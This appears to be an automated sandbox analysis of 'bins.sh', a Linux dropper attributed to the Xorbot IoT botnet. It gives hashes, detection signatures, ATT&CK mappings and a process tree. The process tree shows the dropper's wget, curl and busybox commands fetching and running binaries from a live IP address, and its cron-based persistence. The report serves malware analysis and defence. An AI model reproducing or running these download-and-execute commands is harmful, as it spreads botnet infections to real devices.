xorbot | 60f4eb45bb42f23cf8727d9adc2c3fdd644bb4ce8f006654a098f0e0dd84f114

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
06/12/2024, 09:09

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General

Target

bins.sh
Size

10KB
MD5

4a385ff49e17a3834bcfcacbda035d68
SHA1

58503c4960388791963adc51d9f29519dba7abb9
SHA256

60f4eb45bb42f23cf8727d9adc2c3fdd644bb4ce8f006654a098f0e0dd84f114
SHA512

ad730deb822ead8284f3829f6657964c18a1a6f1427c1a0e1fb6c9f9d4d6e56ec404a24af98b7e553502b0950f96da4d064fe4c54b12b1f2749911995cd05882
SSDEEP

192:DgFrLINhLoQKxTAF91iGGdILKNhLoQUsF91iGa:DgFrLINhLoQKxT9dILKNhLoQUz

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 4 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot
behavioral1/files/fstream-5.dat	family_xorbot
behavioral1/files/fstream-7.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1495	chmod
1510	chmod
1517	chmod
1524	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3	1496	8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
/tmp/oghuqUCi42fO8OW6tLUHfl5DNxdPQi4Qoz	1511	oghuqUCi42fO8OW6tLUHfl5DNxdPQi4Qoz
/tmp/Sk4n4GmOAgBGmCagrx6RpasWwSsE5fDRxW	1518	Sk4n4GmOAgBGmCagrx6RpasWwSsE5fDRxW
/tmp/WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi	1525	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi

Renames itself 1 IoCs

pid	Process
1526	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.NDgVWq	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/407/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/701/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1062/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1572/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1609/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/30/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/163/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1164/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1172/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1278/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1554/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1557/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1596/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/83/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1033/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1541/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1577/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1603/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/78/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/940/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1141/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/115/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/164/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1590/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1611/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/4/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1552/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1570/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1560/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1566/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/319/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1187/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1559/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1613/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/3/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/156/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1244/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1312/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1606/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1610/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/5/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1232/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1154/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1181/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1555/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1563/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/85/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/400/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1543/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1591/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1621/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/158/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/167/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/949/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/31/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/197/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/35/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1533/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1175/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1540/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/18/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1053/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/1614/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
File opened for reading	/proc/165/cmdline	WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/oghuqUCi42fO8OW6tLUHfl5DNxdPQi4Qoz	curl
File opened for modification	/tmp/Sk4n4GmOAgBGmCagrx6RpasWwSsE5fDRxW	busybox
File opened for modification	/tmp/WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi	wget
File opened for modification	/tmp/WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi	curl
File opened for modification	/tmp/8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3	wget
File opened for modification	/tmp/8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3	busybox
File opened for modification	/tmp/oghuqUCi42fO8OW6tLUHfl5DNxdPQi4Qoz	wget
File opened for modification	/tmp/oghuqUCi42fO8OW6tLUHfl5DNxdPQi4Qoz	busybox
File opened for modification	/tmp/Sk4n4GmOAgBGmCagrx6RpasWwSsE5fDRxW	wget
File opened for modification	/tmp/Sk4n4GmOAgBGmCagrx6RpasWwSsE5fDRxW	curl
File opened for modification	/tmp/WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi	busybox
File opened for modification	/tmp/8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1475
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1476
- /usr/bin/wget
  wget http://216.126.231.240/bins/8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
  2⤵
  - Writes file to tmp directory
  PID:1477
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
  2⤵
  - Writes file to tmp directory
  PID:1493
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
  2⤵
  - Writes file to tmp directory
  PID:1494
- /bin/chmod
  chmod 777 8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
  2⤵
  - File and Directory Permissions Modification
  PID:1495
- /tmp/8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
  ./8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
  2⤵
  - Executes dropped EXE
  PID:1496
- /bin/rm
  rm 8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3
  2⤵
  PID:1498
- /usr/bin/wget
  wget http://216.126.231.240/bins/oghuqUCi42fO8OW6tLUHfl5DNxdPQi4Qoz
  2⤵
  - Writes file to tmp directory
  PID:1499
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/oghuqUCi42fO8OW6tLUHfl5DNxdPQi4Qoz
  2⤵
  - Writes file to tmp directory
  PID:1508
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/oghuqUCi42fO8OW6tLUHfl5DNxdPQi4Qoz
  2⤵
  - Writes file to tmp directory
  PID:1509
- /bin/chmod
  chmod 777 oghuqUCi42fO8OW6tLUHfl5DNxdPQi4Qoz
  2⤵
  - File and Directory Permissions Modification
  PID:1510
- /tmp/oghuqUCi42fO8OW6tLUHfl5DNxdPQi4Qoz
  ./oghuqUCi42fO8OW6tLUHfl5DNxdPQi4Qoz
  2⤵
  - Executes dropped EXE
  PID:1511
- /bin/rm
  rm oghuqUCi42fO8OW6tLUHfl5DNxdPQi4Qoz
  2⤵
  PID:1513
- /usr/bin/wget
  wget http://216.126.231.240/bins/Sk4n4GmOAgBGmCagrx6RpasWwSsE5fDRxW
  2⤵
  - Writes file to tmp directory
  PID:1514
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Sk4n4GmOAgBGmCagrx6RpasWwSsE5fDRxW
  2⤵
  - Writes file to tmp directory
  PID:1515
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Sk4n4GmOAgBGmCagrx6RpasWwSsE5fDRxW
  2⤵
  - Writes file to tmp directory
  PID:1516
- /bin/chmod
  chmod 777 Sk4n4GmOAgBGmCagrx6RpasWwSsE5fDRxW
  2⤵
  - File and Directory Permissions Modification
  PID:1517
- /tmp/Sk4n4GmOAgBGmCagrx6RpasWwSsE5fDRxW
  ./Sk4n4GmOAgBGmCagrx6RpasWwSsE5fDRxW
  2⤵
  - Executes dropped EXE
  PID:1518
- /bin/rm
  rm Sk4n4GmOAgBGmCagrx6RpasWwSsE5fDRxW
  2⤵
  PID:1520
- /usr/bin/wget
  wget http://216.126.231.240/bins/WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
  2⤵
  - Writes file to tmp directory
  PID:1521
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
  2⤵
  - Writes file to tmp directory
  PID:1522
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
  2⤵
  - Writes file to tmp directory
  PID:1523
- /bin/chmod
  chmod 777 WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
  2⤵
  - File and Directory Permissions Modification
  PID:1524
- /tmp/WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
  ./WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1525
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1527
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1528
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1529
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1530
- /bin/rm
  rm WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi
  2⤵
  PID:1532
- /usr/bin/wget
  wget http://216.126.231.240/bins/bewFgushrp4KlcYhRONDTBQdbQRvsYDBTJ
  2⤵
  PID:1535

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/8N8cjcgZ2hOARjDEMJGP8oEXS9YRzIkUp3

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/Sk4n4GmOAgBGmCagrx6RpasWwSsE5fDRxW

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/WQETRFJshZMR7oOezFsBDJVqtQlLoJJFDi

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/oghuqUCi42fO8OW6tLUHfl5DNxdPQi4Qoz

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/var/spool/cron/crontabs/tmp.NDgVWq

Filesize
210B

MD5
05394bf94e4b52dedbacb389ee2fd887

SHA1
c67eaa175580fa28b29bd8295869a197342dce58

SHA256
07c500397bdcf5195aa3dc6ec810a251233333b2b9c97e0fe251d486f1d7cca6

SHA512
19e7a3e906cbdfd49dfd79d439910c59dfb000749b08db527581d1268ded28b1ef58c92e4b6499a763a962cd144e1c3b9e0537b96953aefcbb931cf0fae51833

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads